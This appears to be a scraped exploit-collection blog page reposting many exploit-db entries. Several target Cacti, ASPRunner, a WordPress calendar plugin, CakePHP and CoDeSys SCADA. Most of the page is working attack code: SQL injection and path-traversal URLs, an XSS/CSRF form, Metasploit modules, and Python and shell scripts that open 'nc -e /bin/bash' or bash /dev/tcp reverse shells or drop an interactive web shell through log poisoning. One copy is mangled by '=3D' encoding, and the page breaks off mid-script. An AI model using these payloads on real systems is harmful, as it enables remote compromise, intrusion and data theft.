# # # # #
# Exploit Title: Calendar v2.0 for ASPRunnerPro/PHPRunner/ASPRunner.NET. - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: https://xlinesoft.com/
# Software: https://xlinesoft.com/templates/calendar/index.htm
# Demo: https://xlinesoft.com/livedemo/calendar/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/caldaily_view.php?editid1=[SQL]
# # # # #
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863129457
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Calendar Event Multi View 1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS)
# Date: 2022-05-25
# Exploit Author: Mostafa Farzaneh
# WPScan page:
https://wpscan.com/vulnerability/95f92062-08ce-478a-a2bc-6d026adf657c
# Vendor Homepage: https://wordpress.org/plugins/cp-multi-view-calendar/
# Software Link:
https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.4.06.zip
# Version: 1.4.06
# Tested on: Linux
# CVE : CVE-2022-2846
# Description:
The Calendar Event Multi View WordPress plugin before 1.4.07 does not have
any authorisation and CSRF checks in place when creating an event, and is
also lacking sanitisation as well as escaping in some of the event fields.
This could allow unauthenticated attackers to create arbitrary events and
put Cross-Site Scripting payloads in it.
#POC and exploit code:
As an unauthenticated user, to add a malicious event (on October 6th, 2022)
to the calendar with ID 1, open the code below
<html>
<body>
<form action="
https://example.com/?cpmvc_do_action=mvparse&f=datafeed&calid=1&month_index=0&method=adddetails"
method="POST">
<input type="hidden" name="Subject"
value='"><script>alert(/XSS/)</script>' />
<input type="hidden" name="colorvalue" value="#f00" />
<input type="hidden" name="rrule" value="" />
<input type="hidden" name="rruleType" value="" />
<input type="hidden" name="stpartdate" value="10/6/2022" />
<input type="hidden" name="stparttime" value="00:00" />
<input type="hidden" name="etpartdate" value="10/6/2022" />
<input type="hidden" name="etparttime" value="00:00" />
<input type="hidden" name="stpartdatelast" value="10/6/2022" />
<input type="hidden" name="etpartdatelast" value="10/6/2022" />
<input type="hidden" name="stparttimelast" value="" />
<input type="hidden" name="etparttimelast" value="" />
<input type="hidden" name="IsAllDayEvent" value="1" />
<input type="hidden" name="Location" value="CSRF" />
<input type="hidden" name="Description" value='<p style="text-align:
left;">CSRF</p>' />
<input type="hidden" name="timezone" value="4.5" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
The XSS will be triggered when viewing the related event
source: https://www.securityfocus.com/bid/67256/info
Caldera is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/costview2/printers.php?id_onglet=0&tr=0+union+select+0x3020756E696F6E2073656C656374206E756C6C2C404076657273696F6E2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C,null,null,0,null&deb=0
source: https://www.securityfocus.com/bid/67256/info
Caldera is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/costview2/jobs.php?tr=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,pass_adm,14,15,16+from+cost_admin
# Exploit Title: Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite)
# Date: 2020-07-20
# Author: Felipe Winsnes
# Software Link: https://www.exploit-db.com/apps/463c9e7fe9a39888d3c01bc9ad756bba-UpSetup.exe
# Version: 3.5
# Tested on: Windows 7 (x86)
# Blog: https://whitecr0wz.github.io/
# Sadly enough, this vulnerability is not exploitable as there are no friendly PPR addresses available and
# yet the vulnerability is triggered with additional padding == can't use addresses with null values.
# Proof of Concept:
# 1.- Run the python script, it will create a new file "poc.txt".
# 2.- Copy the content of the new file 'poc.txt' to clipboard.
# 3.- Open the Application.
# 4.- Click on "Settings".
# 4.- Paste contents of the generated file into the parameters "FTP Address", "Username" and Password". Furthermore, check the box with the statement "Check to save password in preferences".
# 5.- Crashed.
# 6.- As uploadpref.dat is generated, every time the application opens it will crash, with the SEH values being overwritten. In order to stop this behavior simply delete the file.
# If the contents are only pasted into "Password", the application will only crash once without creating uploadpref.dat.
buffer = "A" * 477 + "BBBB" + "CCCC" + "\xff" * 2000
try:
f = open ("poc.txt", "w")
f.write(buffer)
f.close()
print "[+] The file has been created successfully!"
except:
print "[!] There has been an error while creating the file."
=============================================
- Release date: 12.05.2016
- Discovered by: Dawid Golunski
- Severity: Medium
=============================================
I. VULNERABILITY
-------------------------
CakePHP Framework <= 3.2.4 IP Spoofing Vulnerability
3.1.11
2.8.1
2.7.10
2.6.12
II. BACKGROUND
-------------------------
- CakePHP Framework
http://cakephp.org/
"CakePHP makes building web applications simpler, faster and require less code.
CakePHP is a modern PHP 5.4+ framework with a flexible Database access layer
and a powerful scaffolding system that makes building both small and complex
systems a breeze. "
III. INTRODUCTION
-------------------------
CakePHP Framework contains a vulnerability that allows to spoof the source IP
address. This can allow to bypass access control lists, or injection of
malicious data which, if treated as sanitized by an unaware CakePHP-based
application, can lead to other vulnerabilities such as SQL injection, XSS,
command injection etc.
IV. DESCRIPTION
-------------------------
Both branches of CakePHP Framework (2.x, 3.x) contain a clientIp() method that
allows to obtain the IP address of a client accessing a CakePHP-based
application. The is slightly different in each branch:
CakePHP 2.x:
------[ Cake/Network/CakeRequest.php ]------
public function clientIp($safe = true) {
if (!$safe && env('HTTP_X_FORWARDED_FOR')) {
$ipaddr = preg_replace('/(?:,.*)/', '', env('HTTP_X_FORWARDED_FOR'));
} else {
if (env('HTTP_CLIENT_IP')) {
$ipaddr = env('HTTP_CLIENT_IP');
} else {
$ipaddr = env('REMOTE_ADDR');
}
}
if (env('HTTP_CLIENTADDRESS')) {
$tmpipaddr = env('HTTP_CLIENTADDRESS');
if (!empty($tmpipaddr)) {
$ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr);
}
}
return trim($ipaddr);
}
--------------------------------------------
CakePHP 3.x:
------[ cakephp/src/Network/Request.php ]------
/**
* Get the IP the client is using, or says they are using.
*
* @return string The client IP.
*/
public function clientIp()
{
if ($this->trustProxy && $this->env('HTTP_X_FORWARDED_FOR')) {
$ipaddr = preg_replace('/(?:,.*)/', '', $this->env('HTTP_X_FORWARDED_FOR'));
} else {
if ($this->env('HTTP_CLIENT_IP')) {
$ipaddr = $this->env('HTTP_CLIENT_IP');
} else {
$ipaddr = $this->env('REMOTE_ADDR');
}
}
if ($this->env('HTTP_CLIENTADDRESS')) {
$tmpipaddr = $this->env('HTTP_CLIENTADDRESS');
if (!empty($tmpipaddr)) {
$ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr);
}
}
return trim($ipaddr);
}
--------------------------------------------
Both of the methods contain the same vulnerability. Despite the safe flag
(CakePHP 2.x), and trustyProxy flag (CakePHP 3.x) set to off by default, they
both use HTTP_CLIENT_IP request header (if it exists) instead of the
REMOTE_ADDR variable set by the web server.
The HTTP_CLIENT_IP header can easily be spoofed by sending CLIENT-IP header
in a HTTP request.
V. PROOF OF CONCEPT EXPLOIT
-------------------------
A) Simple PoC
Download a vulnerable version of CakePHP framework and edit
src/Template/Pages/home.ctp to include the PoC code below
which echoes the visitor's IP using the clientIp() method:
-------[ src/Template/Pages/home.ctp ]--------
<?php
[...]
use Cake\Cache\Cache;
use Cake\Core\Configure;
use Cake\Datasource\ConnectionManager;
use Cake\Error\Debugger;
use Cake\Network\Exception\NotFoundException;
$this->layout = false;
if (!Configure::read('debug')):
throw new NotFoundException();
endif;
$cakeDescription = 'CakePHP: the rapid development php framework';
echo "PoC \n<br> Your IP is: [". $this->request->clientIp() ."]\n\n<br><br>";
[...]
?>
----------------------------------------------
If we send the following request with CLIENT-IP header containing an arbitrary
IP and malicious XSS data:
GET /cake/cake3/ HTTP/1.1
Host: centos
CLIENT-IP: 100.200.300.400 <script>alert('poc');</script>
Content-Length: 2
the application will give the following response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
PoC
<br> Your IP is: [100.200.300.400 <script>alert('poc');</script>]
[...]
As we can see the clientIp() method returns the fake IP and XSS payload
from CLIENT-IP header.
B) Croogo CMS exploit
An example application vulnerable to this bug is Croogo CMS:
https://croogo.org/
"Croogo is a free, open source, content management system for PHP,
released under The MIT License. It is powered by CakePHP MVC framework.
It was first released on October 07, 2009"
In one of its scripts we can find the isWhitelistedRequest() which
takes care of ACLs:
-------[ Vendor/croogo/croogo/Croogo/Lib/CroogoRouter.php ]--------
/**
* Check wether request is from a whitelisted IP address
*
* @see CakeRequest::addDetector()
* @param $request CakeRequest Request object
* @return boolean True when request is from a whitelisted IP Address
*/
public static function isWhitelistedRequest(CakeRequest $request) {
if (!$request) {
return false;
}
$clientIp = $request->clientIp();
$whitelist = array_map(
'trim',
(array)explode(',', Configure::read('Site.ipWhitelist'))
);
return in_array($clientIp, $whitelist);
}
-------------------------------------------------------------------
As we can see, it uses the affected clientIp() function from CakePHP framework.
VI. BUSINESS IMPACT
-------------------------
This vulnerability could be used to bypass access control lists to get
access to sensitive data, or lead to higher severity vulnerabilities
if untrusted data returned by clientIp() method is treated as safe and used
without appropriate sanitization within SQL queries, system command calls etc.
VII. SYSTEMS AFFECTED
-------------------------
According to the vendor, the following versions of CakePHP framework should be
affected by this issue.
3.1.11
3.2.4
2.8.1
2.7.10
2.6.12
VIII. SOLUTION
-------------------------
The vendor has released patched versions.
Install the latest version from the link below.
IX. REFERENCES
-------------------------
http://legalhackers.com
http://legalhackers.com/advisories/CakePHP-IP-Spoofing-Vulnerability.txt
Vendor security CakePHP releases:
http://bakery.cakephp.org/2016/03/13/cakephp_2613_2711_282_3017_3112_325_released.html
http://book.cakephp.org/3.0/en/controllers/request-response.html#working-with-http-methods-headers
X. CREDITS
-------------------------
The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
XI. REVISION HISTORY
-------------------------
12.05.2016 - Final advisory released
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
source: https://www.securityfocus.com/bid/61746/info
CakePHP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.
CakePHP 2.2.8 and 2.3.7 are vulnerable; other versions may also be affected.
http://www.example.com/cakephp-2.3.7/theme/Test1/%2e.//%2e.//%2e.//%2e. //%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd
http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd
# Exploit Title: Cain & Abel 4.9.56 - Unquoted Service Path
# Exploit Author: Aryan Chehreghani
# Date: 2022-02-08
# Software Link: https://www.malavida.com/en/soft/cain-and-abel
# Version: 4.9.56
# Tested on: Windows 10 x64
# PoC
SERVICE_NAME: Abel
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Cain\Abel64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Abel
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# http://metasploit.com
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability that allows arbitrary
file creation, which can be used to execute a mof file in order to gain remote
execution within the SCADA system.
},
'Author' =>
[
'Enrique Sanchez <esanchez[at]accuvant.com>'
],
'License' => 'MSF_LICENSE',
'References' =>
[
['CVE', '2012-4705'],
['OSVDB', '90368'],
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
],
'DisclosureDate' => 'Feb 02 2013',
'Platform' => 'win',
'Targets' =>
[
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(1211),
], self.class)
end
##
# upload_file(remote_filepath, remote_filename, local_filedata)
#
# remote_filepath: Remote filepath where the file will be uploaded
# remote_filename: Remote name of the file to be executed ie. boot.ini
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
def upload_file(remote_filepath, remote_filename, local_filedata = null)
magic_code = "\xdd\xdd"
opcode = [6].pack('L')
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
# Magic_code + packing + size
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
tmp_pkt = opcode << file
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
pkt << tmp_pkt
print_status("Starting upload of file #{remote_filename}")
connect
sock.put(pkt)
disconnect
print_status("File uploaded")
end
def exploit
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
# We create an exe payload, we have to get remote execution in 2 steps
exe = generate_payload_exe
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
upload_file("windows\\system32\\", exe_name, exe)
# We create the mof file and upload (second step)
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
mof = generate_mof(mof_name, exe_name)
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
print_status("Everything is ready, waiting for a session ... ")
handler
#Taken from the spooler exploit writen byt jduck and HDMoore
cnt = 1
while session_created? == false and cnt < 25
::IO.select(nil, nil, nil, 0.25)
cnt += 1
end
end
end
# Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
# Date: 2020-02-29
# Exploit Author: Lucas Amorim (sh286)s
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: Linux
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Cacti v1.2.8 Unauthenticated Remote Code Execution',
'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to
execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has
the graph real-time privilege.},
'Author' =>
[
'Lucas Amorim ' # MSF module
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'References' =>
[
['CVE', '2020-8813']
],
'DisclosureDate' => 'Feb 21 2020',
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'SSL' => true,
},
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('RPATH', [ false, "path to cacti", "" ])
])
deregister_options('VHOST')
end
def check
res = send_request_raw(
'method' => 'GET',
'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init"
)
if res && res.code == 200
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def send_payload()
exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']])
send_request_raw(
'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init",
'method' => 'GET',
'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}"
)
end
def exploit
if check == Exploit::CheckCode::Vulnerable
print_good("Target seems to be a vulnerable")
send_payload()
else
print_error("Target does not seem to be vulnerable. Will exit now...")
end
end
end
# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)
# Exploit Author: Riadh BOUCHAHOUA
# Discovery Date: 2022-12-08
# Vendor Homepage: https://www.cacti.net/
# Software Links : https://github.com/Cacti/cacti
# Tested Version: 1.2.2x <= 1.2.22
# CVE: CVE-2022-46169
# Tested on OS: Debian 10/11
#!/usr/bin/env python3
import random
import httpx, urllib
class Exploit:
def __init__(self, url, proxy=None, rs_host="",rs_port=""):
self.url = url
self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy)
self.rs_host = rs_host
self.rs_port = rs_port
def exploit(self):
# cacti local ip from the url for the X-Forwarded-For header
local_cacti_ip = self.url.split("//")[1].split("/")[0]
headers = {
'X-Forwarded-For': f'{local_cacti_ip}'
}
revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'"
import base64
b64_revshell = base64.b64encode(revshell.encode()).decode()
payload = f";echo {b64_revshell} | base64 -d | bash -"
payload = urllib.parse.quote(payload)
urls = []
# Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)
for host_id in range(1,100):
for local_data_ids in range(1,100):
urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")
for url in urls:
r = self.session.get(url,headers=headers)
print(f"{r.status_code} - {r.text}" )
pass
def random_user_agent(self):
ua_list = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
]
return random.choice(ua_list)
def parse_args():
import argparse
argparser = argparse.ArgumentParser()
argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)")
argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True)
argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True)
return argparser.parse_args()
def main() -> None:
# Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL
args = parse_args()
e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port)
e.exploit()
if __name__ == "__main__":
main()
#!/bin/sh
##############
# Exploit Title: Cacti - Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection
# Date: 19/12/2014
# Exploit Author: Wireghoul
# Software Link: http://docs.cacti.net/plugin:superlinks
# Identifiers: CVE-2014-4644, EDB-ID-33809
# Exploit explanation through inline comments
# Patch provided at the end
#
# This is the year where hope fails you -- Slipknot: Pulse of the maggots
#
##############
echo -e "\e[32m *-*, \e[31m ___________"
echo -e "\e[32m ,*\/|\`| ; \e[31m /.'_______\`.\\"
echo -e "\e[32m \\' | |'; *, \e[31m /( (_______\`-'\\"
echo -e "\e[32m \ \`| | ;/ ) \e[31m \`.\`.______ \.'"
echo -e "\e[32m : |'| , / \e[31m \`..-.___>.'"
echo -e "\e[32m :'| |, / \e[31m \`.__ .'\e[0m"
echo -e " _________\e[32m:_|_|_;\e[0m_______________\e[31m\`.'\e[0m_______[Wireghoul]___"
echo -e " CACTI SUPERLINKS PLUGIN 1.4-2 REMOTE CODE EXECUTION PoC"
echo
if [ -z $1 ]; then
echo -e "Usage $0 <superpluginurl>\n $0 http://example.com/cacti/plugins/superlinks/superlinks.php\n";
exit 2;
fi
# This exploit is a second order LFI through SQLI, so first we must write some data to disk
# Luckily the application logs all sort of stuff, so lets poison the application log
# The reason for this is manyfold, read on.
curl --silent "$1?id=SHELL<?php+passthru(\$_GET\[c\])+?>LLEHS<?php+exit+?>" > /dev/null
# Now lets analyse the vulnerability:
# superlinks.php:21:if (isset($_GET['id'])) {
# superlinks.php:22: $pageid=$_GET['id'];
# superlinks.php:23:}
# superlinks.php:24:
# superlinks.php:25:$page = db_fetch_row("SELECT DISTINCT
# superlinks.php:26: id,
# superlinks.php:27: title,
# superlinks.php:28: style,
# superlinks.php:29: contentfile
# superlinks.php:30: FROM (superlinks_pages, superlinks_auth)
# superlinks.php:31: WHERE superlinks_pages.id=superlinks_auth.pageid
# superlinks.php:32: AND id=" . $pageid . "
# This is where the injection occurs, we can now union select 1,2,3,4 -- ftw
# However the real fun occurs a few lines later
# superlinks.php:57: $my_file = $config["base_path"] . "/plugins/superlinks/content/" . $page['contentfile'];
# superlinks.php:58:
# superlinks.php:59: if (file_exists($my_file)) {
# superlinks.php:60: @include_once($my_file);
# We can now include a file of our choosing (LFI) based on the data returned from the SQLi
# There are only a few problems:
# * We cannot use strings/quotes as magic quotes are usually on
# * We do not know the local path for the LFI
# * Usual tricks like /proc/self* have been patched
# * Database server and web server may be different hosts
# Lets solve the easy one first, we dont need to quote our strings, hex encoding works great
# The second one is a little trickier, we can brute force LFI locations... or
# We can dynamically locate a file path which is stored in the database and present on the webserver
# $ mysqldump cacti | grep '\.log'
# INSERT INTO `settings` VALUES ('path_php_binary','/usr/bin/php'),('path_rrdtool','/usr/bin/rrdtool'),('poller_lastrun','1414565401'),('path_webroot','/usr/share/cacti/site'),('date','2014-10-29 17:50:02'),('stats_poller','Time:0.1182 Method:cmd.php Processes:1 Threads:N/A Hosts:2 HostsPerProcess:2 DataSources:0 RRDsProcessed:0'),('stats_recache','RecacheTime:0.0 HostsRecached:0'),('path_snmpwalk','/usr/bin/snmpwalk'),('path_snmpget','/usr/bin/snmpget'),('path_snmpbulkwalk','/usr/bin/snmpbulkwalk'),('path_snmpgetnext','/usr/bin/snmpgetnext'),('path_cactilog','/var/log/cacti/cacti.log'),('snmp_version','net-snmp'),('rrdtool_version','rrd-1.4.x'),('superlinks_tabstyle','0'),('superlinks_hidelogo','0'),('superlinks_hideconsole','0'),('superlinks_db_version','1.4'),('auth_method','1'),('guest_user','guest'),('user_template','0'),('ldap_server',''),('ldap_port','389'),('ldap_port_ssl','636'),('ldap_version','3'),('ldap_encryption','0'),('ldap_referrals','0'),('ldap_mode','0'),('ldap_dn',''),('ldap_group_require',''),('ldap_group_dn',''),('ldap_group_attrib',''),('ldap_group_member_type','1'),('ldap_search_base',''),('ldap_search_filter',''),('ldap_specific_dn',''),('ldap_specific_password','');
# $ ls -la /var/log/cacti/cacti.log
# -rw-r----- 1 www-data www-data 5838 Oct 29 17:50 /var/log/cacti/cacti.log
# $ tail /var/log/cacti/cati.log
# <snip> ERROR: SQL Assoc Failed!, Error:'1064', SQL:"SELECT graph_templates.id, graph_templates.name FROM (graph_local,graph_templates,graph_templates_graph) WHERE graph_local.id=graph_templates_graph.local_graph_id AND graph_templates_graph.graph_template_id=graph_templates.id AND graph_local.host_id=1 AND graph_templates.id=12 select 1,2,3,4 -- GROUP BY graph_templates.id ORDER BY graph_templates.name"
# WINRAR!
# We can now include the poisoned log file by fetching the log path from the database
# and prepending it with the normal directory traversal pattern ../../../ using concat()
# We traverse 8 deep, that's usually enough
echo -ne "Dropping into shell, type exit to quit.\ncactishell> "
while read line; do
if [ "$line" == "exit" ]; then
exit
fi
comand=`echo -n $line | sed -e's/ /+/g'`
curl --silent "$1?id=123+union+select+1,2,3,concat(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f,value)+from+settings+where+name=0x706174685f63616374696c6f67+--+-&c=$comand" | \
sed -n '/SHELL/, $p' | \
sed -e 's/.*SHELL//' |\
sed '/LLEHS/, $d'
echo -n "cactishell> "
done
# Proposed patch
# Vendor has a patch in a SVN repo somewhere:
# http://bugs.cacti.net/bug_view_advanced_page.php?bug_id=2475
# Yet has not made the patch available, or responded to requests to do so:
# http://forums.cacti.net/viewtopic.php?t=53711
#--- superlinks.php 2014-12-18 02:05:37.706013833 -0500
#+++ superlinks.php 2014-12-18 02:05:09.694014497 -0500
#@@ -19,7 +19,7 @@
#
# $pageid = 0;
# if (isset($_GET['id'])) {
#- $pageid=intval($_GET['id']);
#+ $pageid=$_GET['id'];
# }
#
# $page = db_fetch_row("SELECT DISTINCT
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 4:
print("[~] Usage : ./Cacti-exploit.py url ip port")
exit()
url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
def send_exploit(url):
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
path = url+"/graph_realtime.php?action=init"
req = requests.get(path)
if req.status_code == 200 and "poller_realtime.php" in req.text:
print("[+] File Found and Guest is enabled!")
print("[+] Sending malicous request, check your nc ;)")
requests.get(path, cookies=cookies)
else:
print("[+] Error while requesting the file!")
send_exploit(url)
# Exploit Title: Cacti 1.2.8 - Remote Code Execution
# Date: 2020-02-03
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
#!/usr/bin/python3
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4')
if len(sys.argv) !=3D 6:
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
exit()
url =3D sys.argv[1]
username =3D sys.argv[2]
password =3D sys.argv[3]
ip =3D sys.argv[4]
port =3D sys.argv[5]
def login(token):
login_info =3D {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
}
login_request =3D request.post(url+"/index.php", login_info)
login_text =3D login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
else:
return True
def enable_guest(token):
request_info =3D {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request =3D request.post(url+"/user_admin.php?header=3Dfalse", r=
equest_info)
if enable_request:
return True
else:
return False
def send_exploit():
payload =3D ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies =3D {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=3Dinit", cookies=3Dcookies=
)
request =3D requests.session()
print("[+]Retrieving login CSRF token")
page =3D request.get(url+"/index.php")
html_content =3D page.text
soup =3D BeautifulSoup(html_content, "html5lib")
token =3D soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status =3D login(token)
if login_status:
print("[+]Successfully LoggedIn")
print("[+]Retrieving CSRF token ..")
page =3D request.get(url+"/user_admin.php?action=3Duser_edit&id=3D3=
&tab=3Drealms")
html_content =3D page.text
soup =3D BeautifulSoup(html_content, "html5lib")
token =3D soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime =3D enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ;)")
send_exploit()
else:
print("[-]Error while activating the malicous account")
else:
print("[-] Unable to retrieve CSRF token from admin page!")
exit()
else:
print("[-]Cannot Login!")
else:
print("[-] Unable to retrieve CSRF token!")
exit()
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 6:
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
def login(token):
login_info = {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
}
login_request = request.post(url+"/index.php", login_info)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
else:
return True
def enable_guest(token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request = request.post(url+"/user_admin.php?header=false", request_info)
if enable_request:
return True
else:
return False
def send_exploit():
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)
request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status = login(token)
if login_status:
print("[+]Successfully LoggedIn")
